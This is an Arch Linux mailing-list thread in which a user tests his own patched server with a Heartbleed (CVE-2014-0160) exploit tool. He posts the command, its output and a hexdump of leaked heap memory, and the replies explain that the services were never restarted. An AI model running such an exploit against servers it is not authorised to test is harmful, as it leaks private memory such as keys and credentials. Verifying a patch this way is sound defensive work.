[arch-general] Does openssl 1.0.1.g-1 close the heartbleed exploit?
Guys, I was testing my boxes after updating to openssl 1.0.1.g-1 with heartbleed.c and I am still able to grab and decrypt ssl packets. The openssl security note says 1.0.1.g is not effected by the bug, but I can still get a 64k chuck of data back from my server using the heartbleed.c test. (if I'm reading the output correctly) Am I may be doing something wrong? It is worth asking to be sure. Archlinux server: phoinix - openssl 1.0.1.g-1 from client machine: $ ./heartbleed386 -s 192.168.7.16 -p 443 -f outph -t 1 [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit [ ============================================================= [ connecting to 192.168.7.16 443/tcp [ connected to 192.168.7.16 443/tcp [ <3 <3 <3 heart bleed <3 <3 <3 [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ heartbleed leaked length=65535 [ final record type=24, length=16384 [ wrote 16381 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=42 [ decrypting SSL packet [ final record type=24, length=18 [ wrote 18 bytes of heap to file 'outph' [ done. $ ls -al outph -rwx------ 1 david david 65554 Apr 25 01:43 outph $ hexdump -C outph 00000000 52 74 59 da c6 d0 3a 5d 35 7e 33 fc 43 de e5 bb |RtY...:]5~3.C...| 00000010 31 a2 ca c1 30 ff 5a e7 fd 28 52 4a 3c 18 51 4b |1...0.Z..(RJ<.QK| 00000020 93 1e 2e 7b 41 58 e2 79 58 b8 26 f4 a0 d2 11 22 |...{AX.yX.&...."| 00000030 4d bc 62 54 7c 59 5c 63 11 42 fe 88 00 87 c0 32 |M.bT|Y\c.B.....2| 00000040 c0 2e c0 2a c0 26 c0 0f c0 05 00 9d 00 3d 00 35 |...*.&.......=.5| 00000050 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d |................| 00000060 c0 03 00 0a c0 2f c0 2b c0 27 c0 23 c0 13 c0 09 |...../.+.'.#....| 00000070 c0 1f c0 1e 00 a2 00 9e 00 67 00 40 00 33 00 32 |.........g.@.3.2| 00000080 00 9a 00 99 00 45 00 44 c0 31 c0 2d c0 29 c0 25 |.....E.D.1.-.).%| 00000090 c0 0e c0 04 00 9c 00 3c 00 2f 00 96 00 41 00 07 |.......<./...A..| 000000a0 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 |................| 000000b0 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 02 01 |................| 000000c0 00 01 32 00 0b 00 04 03 00 01 02 00 0a 00 34 00 |..2...........4.| 000000d0 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 |2...............| 000000e0 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 |................| 000000f0 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 |................| 00000100 10 00 11 00 23 00 00 00 0d 00 20 00 1e 06 01 06 |....#..... .....| 00000110 02 06 03 05 01 05 02 05 03 04 01 04 02 04 03 03 |................| 00000120 01 03 02 03 03 02 01 02 02 02 03 00 0f 00 01 01 |................| 00000130 00 15 00 c1 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000001f0 00 00 00 00 00 5c c0 5d c0 5e c0 5f c0 60 c0 61 |.....\.].^._.`.a| 00000200 c0 62 c0 63 c0 64 c0 65 c0 66 c0 67 c0 68 c0 69 |.b.c.d.e.f.g.h.i| 00000210 c0 6a c0 6b c0 6c c0 6d c0 6e c0 6f c0 70 c0 71 |.j.k.l.m.n.o.p.q| 00000220 c0 72 c0 73 c0 74 c0 75 c0 76 c0 77 c0 78 c0 79 |.r.s.t.u.v.w.x.y| 00000230 c0 7a c0 7b c0 7c c0 7d c0 7e c0 7f c0 80 c0 81 |.z.{.|.}.~......| <snip - a lot more, with CN and other cert into visible> Can anyone confirm the openssl 1.0.1.g-1 fix against their arch server? The information I get back in response to heartbleed has been decrypted -- that leads me to believe the current openssl 1.0.1.g-1 may be suspect as well. Or am I looking at this wrong? The ./heartbleed output that concerns me is: [ heartbleed leaked length=65535 However, each of the subsequent calls by ./heartbleed returned only ~16408, which if I understand correctly is the max that should be returned after the fix: [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' Is this the expected fixed behavior, or does this still reflect a vulnerability present? What say the experts? Thanks. -- David C. Rankin, J.D.,P.E.
Op 25 apr. 2014 09:41 schreef "David C. Rankin" < drankinatty@suddenlinkmail.com> het volgende:
Guys,
I was testing my boxes after updating to openssl 1.0.1.g-1 with
heartbleed.c
and I am still able to grab and decrypt ssl packets. The openssl security note says 1.0.1.g is not effected by the bug, but I can still get a 64k chuck of data back from my server using the heartbleed.c test. (if I'm reading the output correctly) Am I may be doing something wrong? It is worth asking to be sure.
Probably a stupid question, but you did restart the affected daemons (or system) after the update? Otherwise, they'll be using the old lib. mvg, Guus
On 04/25/2014 02:47 AM, Guus Snijders wrote:
Probably a stupid question, but you did restart the affected daemons (or system) after the update? Otherwise, they'll be using the old lib.
mvg, Guus
No question too stupid -- I had not. (I knew better...) Thanks, Sorry for the noise. -- David C. Rankin, J.D.,P.E.
I tested my server after the update and found no problems... On Apr 25, 2014 10:41 AM, "David C. Rankin" <drankinatty@suddenlinkmail.com> wrote:
Guys,
I was testing my boxes after updating to openssl 1.0.1.g-1 with heartbleed.c and I am still able to grab and decrypt ssl packets. The openssl security note says 1.0.1.g is not effected by the bug, but I can still get a 64k chuck of data back from my server using the heartbleed.c test. (if I'm reading the output correctly) Am I may be doing something wrong? It is worth asking to be sure.
Archlinux server: phoinix - openssl 1.0.1.g-1
from client machine:
$ ./heartbleed386 -s 192.168.7.16 -p 443 -f outph -t 1 [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit [ ============================================================= [ connecting to 192.168.7.16 443/tcp [ connected to 192.168.7.16 443/tcp [ <3 <3 <3 heart bleed <3 <3 <3 [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ heartbleed leaked length=65535 [ final record type=24, length=16384 [ wrote 16381 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph' [ heartbeat returned type=24 length=42 [ decrypting SSL packet [ final record type=24, length=18 [ wrote 18 bytes of heap to file 'outph' [ done. $ ls -al outph -rwx------ 1 david david 65554 Apr 25 01:43 outph $ hexdump -C outph 00000000 52 74 59 da c6 d0 3a 5d 35 7e 33 fc 43 de e5 bb |RtY...:]5~3.C...| 00000010 31 a2 ca c1 30 ff 5a e7 fd 28 52 4a 3c 18 51 4b |1...0.Z..(RJ<.QK| 00000020 93 1e 2e 7b 41 58 e2 79 58 b8 26 f4 a0 d2 11 22 |...{AX.yX.&...."| 00000030 4d bc 62 54 7c 59 5c 63 11 42 fe 88 00 87 c0 32 |M.bT|Y\c.B.....2| 00000040 c0 2e c0 2a c0 26 c0 0f c0 05 00 9d 00 3d 00 35 |...*.&.......=.5| 00000050 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d |................| 00000060 c0 03 00 0a c0 2f c0 2b c0 27 c0 23 c0 13 c0 09 |...../.+.'.#....| 00000070 c0 1f c0 1e 00 a2 00 9e 00 67 00 40 00 33 00 32 |.........g.@ .3.2| 00000080 00 9a 00 99 00 45 00 44 c0 31 c0 2d c0 29 c0 25 |.....E.D.1.-.).%| 00000090 c0 0e c0 04 00 9c 00 3c 00 2f 00 96 00 41 00 07 |.......<./...A..| 000000a0 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 |................| 000000b0 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 02 01 |................| 000000c0 00 01 32 00 0b 00 04 03 00 01 02 00 0a 00 34 00 |..2...........4.| 000000d0 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 |2...............| 000000e0 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 |................| 000000f0 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 |................| 00000100 10 00 11 00 23 00 00 00 0d 00 20 00 1e 06 01 06 |....#..... .....| 00000110 02 06 03 05 01 05 02 05 03 04 01 04 02 04 03 03 |................| 00000120 01 03 02 03 03 02 01 02 02 02 03 00 0f 00 01 01 |................| 00000130 00 15 00 c1 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000001f0 00 00 00 00 00 5c c0 5d c0 5e c0 5f c0 60 c0 61 |.....\.].^._.`.a| 00000200 c0 62 c0 63 c0 64 c0 65 c0 66 c0 67 c0 68 c0 69 |.b.c.d.e.f.g.h.i| 00000210 c0 6a c0 6b c0 6c c0 6d c0 6e c0 6f c0 70 c0 71 |.j.k.l.m.n.o.p.q| 00000220 c0 72 c0 73 c0 74 c0 75 c0 76 c0 77 c0 78 c0 79 |.r.s.t.u.v.w.x.y| 00000230 c0 7a c0 7b c0 7c c0 7d c0 7e c0 7f c0 80 c0 81 |.z.{.|.}.~......| <snip - a lot more, with CN and other cert into visible>
Can anyone confirm the openssl 1.0.1.g-1 fix against their arch server? The information I get back in response to heartbleed has been decrypted -- that leads me to believe the current openssl 1.0.1.g-1 may be suspect as well. Or am I looking at this wrong?
The ./heartbleed output that concerns me is:
[ heartbleed leaked length=65535
However, each of the subsequent calls by ./heartbleed returned only ~16408, which if I understand correctly is the max that should be returned after the fix:
[ heartbeat returned type=24 length=16408 [ decrypting SSL packet [ final record type=24, length=16384 [ wrote 16384 bytes of heap to file 'outph'
Is this the expected fixed behavior, or does this still reflect a vulnerability present? What say the experts? Thanks.
-- David C. Rankin, J.D.,P.E.
I was testing my boxes after updating to openssl 1.0.1.g-1 with heartbleed.c and I am still able to grab and decrypt ssl packets.
Most probably you didn't restart the services that link to openssl. lsof +c 0 | grep -w DEL | awk '1 { print $1 ": " $NF }' | grep libssl | sort -u https://mailman.archlinux.org/pipermail/arch-general/2014-April/035824.html -- Kind regards, Damian Nowak StratusHost www.AtlasHost.eu
participants (4)
-
David C. Rankin
-
Dimitris Zervas
-
Guus Snijders
-
Nowaker